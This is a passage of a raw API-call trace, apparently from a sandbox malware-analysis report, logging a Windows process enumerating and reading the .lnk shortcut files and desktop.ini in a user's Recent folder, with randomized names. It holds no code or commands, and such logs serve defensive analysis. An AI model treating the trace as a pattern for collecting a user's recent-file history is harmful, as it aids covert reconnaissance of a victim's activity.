HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk", len=0x58 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cy1ykedseltuf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.638] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19bc [0076.638] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c658, nNumberOfBytesToRead=0x19bc, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c658*, lpNumberOfBytesRead=0x18e2f8*=0x19bc, lpOverlapped=0x0) returned 1 [0076.639] CloseHandle (hObject=0x3f8) returned 1 [0076.639] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4e5b40, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9c4e5b40, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9c4e5b40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="c_0f9-L4gyuk6.lnk", cAlternateFileName="C_0F9-~1.LNK")) returned 1 [0076.639] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk") returned 1 [0076.639] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk") returned 1 [0076.639] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk") returned 1 [0076.640] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk", len=0x58 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk") returned 1 [0076.640] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c_0f9-L4gyuk6.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk") returned 1 [0076.640] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk", len=0x58 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk") returned 1 [0076.640] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk") returned 1 [0076.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c_0f9-l4gyuk6.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.640] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa58 [0076.640] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c6b8, nNumberOfBytesToRead=0xa58, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c6b8*, lpNumberOfBytesRead=0x18e2f8*=0xa58, lpOverlapped=0x0) returned 1 [0076.641] CloseHandle (hObject=0x3f8) returned 1 [0076.641] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.641] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf9be40, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cf9be40, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cf9be40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="dCkeRMnueuS.lnk", cAlternateFileName="DCKERM~1.LNK")) returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_0f9-L4gyuk6.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk") returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk", len=0x57 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk") returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk") returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk", len=0x56 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk") returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\dCkeRMnueuS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk") returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk", len=0x56 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk") returned 1 [0076.641] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk") returned 1 [0076.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dckermnueus.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.641] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x248 [0076.641] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c70c, nNumberOfBytesToRead=0x248, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c70c*, lpNumberOfBytesRead=0x18e2f8*=0x248, lpOverlapped=0x0) returned 1 [0076.642] CloseHandle (hObject=0x3f8) returned 1 [0076.642] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.642] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.642] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dCkeRMnueuS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini") returned 1 [0076.642] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini", len=0x53 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", len=0x52 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\desktop.ini", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", len=0x52 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 1 [0076.643] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9df14d40, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9df14d40, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9df14d40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xf4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRyCH41NNCvFGT-d.lnk", cAlternateFileName="DRYCH4~1.LNK")) returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk", len=0x5b | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\DRyCH41NNCvFGT-d.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk", len=0x5b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk") returned 1 [0076.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drych41nncvfgt-d.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.643] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xf4e [0076.643] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c610, nNumberOfBytesToRead=0xf4e, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c610*, lpNumberOfBytesRead=0x18e2f8*=0xf4e, lpOverlapped=0x0) returned 1 [0076.644] CloseHandle (hObject=0x3f8) returned 1 [0076.644] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.644] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d484ba0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d484ba0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d484ba0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x142d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EFxNu5CIh50zqG.ots.lnk", cAlternateFileName="EFXNU5~1.LNK")) returned 1 [0076.644] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DRyCH41NNCvFGT-d.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.644] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk", len=0x5e | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.645] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.645] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk", len=0x5d | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.645] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\EFxNu5CIh50zqG.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.645] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk", len=0x5d | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.645] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk") returned 1 [0076.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\efxnu5cih50zqg.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.645] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x142d [0076.645] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c658, nNumberOfBytesToRead=0x142d, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c658*, lpNumberOfBytesRead=0x18e2f8*=0x142d, lpOverlapped=0x0) returned 1 [0076.646] CloseHandle (hObject=0x3f8) returned 1 [0076.646] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.646] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6e61a0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e234a20, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e234a20, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x12af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ep5U.lnk", cAlternateFileName="")) returned 1 [0076.646] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EFxNu5CIh50zqG.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk") returned 1 [0076.646] SysReAllocStringLen (in: 